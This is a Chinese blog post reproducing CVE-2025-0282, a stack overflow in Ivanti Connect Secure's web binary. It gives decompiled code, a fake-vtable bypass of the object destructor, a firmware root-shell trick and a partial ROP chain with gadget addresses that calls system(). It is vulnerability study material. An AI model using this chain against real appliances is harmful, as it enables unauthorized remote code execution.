前言:刚从学校回家准备实习,看着积灰很久的电脑(没复现cve的电脑),于是准备重新学下看到了今年出的cve ,于是来复现下,就是漏洞环境难崩呜呜,参考了网上的一些文章来复现
原文连接:https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/
本篇水的一篇文章,因为没啥可学的拉,就学学这里的利用技巧
分析过程
环境搭建
首先这里先从官网下载下固件 固件形式是ova
从虚拟机导入即可
版本是Ivanti Connect Secure 22.7R2.3
设置好ip 在浏览器直接访问就行
这个固件的被加密了,参考了网上一些博主的学习方式,通过修改/home/bin/dsconfig.pl它的值为///////////////bin/sh 回车即可获取最高权限shell
然后使用python -m http.server 进行下载即可
漏洞分析
该漏洞具体存在于二进制 /home/bin/web 中,该二进制文件处理 Ivanti Connect Secure 设备的所有传入 HTTP 请求和 VPN 协议(包括 IFT TLS)。
请求包逆向下
它的格式是如下:
clientHostName=BishopFox
clientIp=xxxx
clientCapabilities=xxx
关键性代码如下:
2: int __cdecl ift_handle_1(int a1, IftTlsHeader *a2, char *a3)
3: {
4:
5: int v18;
6: int v19;
7: char dest[256]; // [esp+120h] [ebp-8ECh] BYREF
8: char object_to_be_freed[4]; // [esp+220h] [ebp-7ECh] BYREF
9: void *ptr; // [esp+224h] [ebp-7E8h]
10: int v20; // [esp+228h] [ebp-7E4h]
11: int v21; // [esp+22Ch] [ebp-7E0h]
12: int v22; // [esp+230h] [ebp-7DCh]
13: char v23; // [esp+234h] [ebp-7D8h]
14: char v24; // [esp+235h] [ebp-7D7h]
15: void *v25; // [esp+23Ch] [ebp-7D0h]
16: _DWORD v26[499]; // [esp+240h] [ebp-7CCh] BYREF
17:
18:
19: [..SNIP..]
20:
21:
22: clientCapabilities = getKey(req, "clientCapabilities");
23: if ( clientCapabilities != NULL )
24: {
25: clientCapabilitiesLength = strlen(clientCapabilities);
26: if ( clientCapabilitiesLength != 0 )
27: connInfo->clientCapabilities = clientCapabilities;
28: }
29: }
30: memset(dest, 0, sizeof(dest));
31: strncpy(dest, connInfo->clientCapabilities, clientCapabilitiesLength);
32:
33: v24 = 46;
34: v25 = &v57;
35: if ( ((unsigned __int8)&v57 & 2) != 0 )
36: {
37: LOBYTE(v24) = 44;
38: v57 = 0;
39: v25 = (__int16 *)&v58;
40: }
41: memset(v25, 0, 4 * (v24 >> 2));
42: v26 = &v25[2 * (v24 >> 2)];
43: if ( (v24 & 2) != 0 )
44: *v26 = 0;
45: na = 46;
46:
47:
48: (*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
49:
50:
51: isValid = 1;
52: EPMessage::~EPMessage((EPMessage *)v18);
53: DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54: return isValid;
55:
56:
57: }
通过逆向分析,在获取clientCapabilities值后 会利用strncpy 赋值到dest,而它的clientCapabilitiesLength是根据它的内容长度来确定的,也就是可控,那么最直接的思路就是覆盖返回地址为我们的可控rop即可执行,但实际上我们无法成功执行我们的rop,因为最后会有一个DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed); 它会释放掉
但是,此代码利用了位于 dest 缓冲区之后堆栈上的变量,并且鉴于此对象在返回完成之前被销毁,它会导致函数由于地址无效而引发异常。object_to_be_freedfree()
然后我们惊奇的发现在第 48 行,取消引用 a1 变量,然后调用偏移量 72(或0x48十六进制)处的虚函数。
(*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
反汇编出来的汇编代码
mov eax, [esp+0A0Ch+arg_0]
mov eax, [eax]
mov [esp+0A0Ch+src], edx
mov edx, [esp+0A0Ch+arg_0]
mov [esp+0A0Ch+n], 2Eh ; '.' ; int
mov [esp+0A0Ch+var_A0C], edx
call dword ptr [eax+48h]
很明显这里实现了虚函数调用,如果一直覆盖覆盖了它,那么它可能会导致后面的出问题,我们需要在libc里找一个合适的rop来保持正常,这里的eax最终就是控制的执行地址,通过栈上的内容来控制,我们覆盖对应栈上的内容 进行一个函数的call
下面是整体架构
+--------------------------+
| *this Pointer |
+--------------------------+
|
v
+--------------------------+
| vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| vtable (Virtual Table) | <- Array of pointers to virtual functions
+--------------------------+
| *Function[0x04] |
+--------------------------+
| *Function[0x08] |
+--------------------------+
| *Function[0x0C] |
+--------------------------+
| ... |
+--------------------------+
| *Function[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| Function[0x48] Prologue |
+--------------------------+
| push ebp | <- Save base pointer
+--------------------------+
| mov ebp, esp | <- Set base pointer
+--------------------------+
| sub esp, 0x20 | <- Allocate stack space
+--------------------------+
| ... | <- Additional instructions
+--------------------------+
通过调试发现,它的指针this其实在return Address之后,但由于这个虚函数调用是在销毁之前进行调用,那么我们可以在它之前进行调用使它的销毁返回值为-1 ,这个返回值就是eax,思路通过虚函数调用 来引用控制它的1为-1就可以了,当销毁的时候返回-1,就默认往后执行了,这时候我们需要找个gadget 通过eax虚函数来进行间接调用
寻找了到了这个
+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| mov ebx, 0xfffffff0 | <- Load value into EBX
+--------------------------+
| add esp, 0x204C | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx | <- Copy EBX to EAX
+--------------------------+
| pop ebx | <- Restore EBX
+--------------------------+
| pop esi | <- Restore ESI
+--------------------------+
| pop edi | <- Restore EDI
+--------------------------+
| pop ebp | <- Restore EBP
+--------------------------+
| ret | <- Return to caller
+--------------------------+
通过这个rop 能够控制住了下面销毁eax它的返回值为-数,又能
过了销毁这一关接下来就可以执行返回地址的恶意函数rop了
现在已经实现了如下:
- 实现eip控制
- 无限制的rop了
- rop到我们想要的地方
接下来就可以这样进行了
mov_eax_esp_ret = p32(0xf29e92c3) # mov eax, esp; ret
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
pop_esi_ret = p32(0xf4f5de27) # pop esi; ret;
esi = p32(0xf5a07d40) # system
set_arg_call_esi = p32(0xf4f5e265) # mov dword ptr [esp], eax; call esi;
即可rce
没有回复内容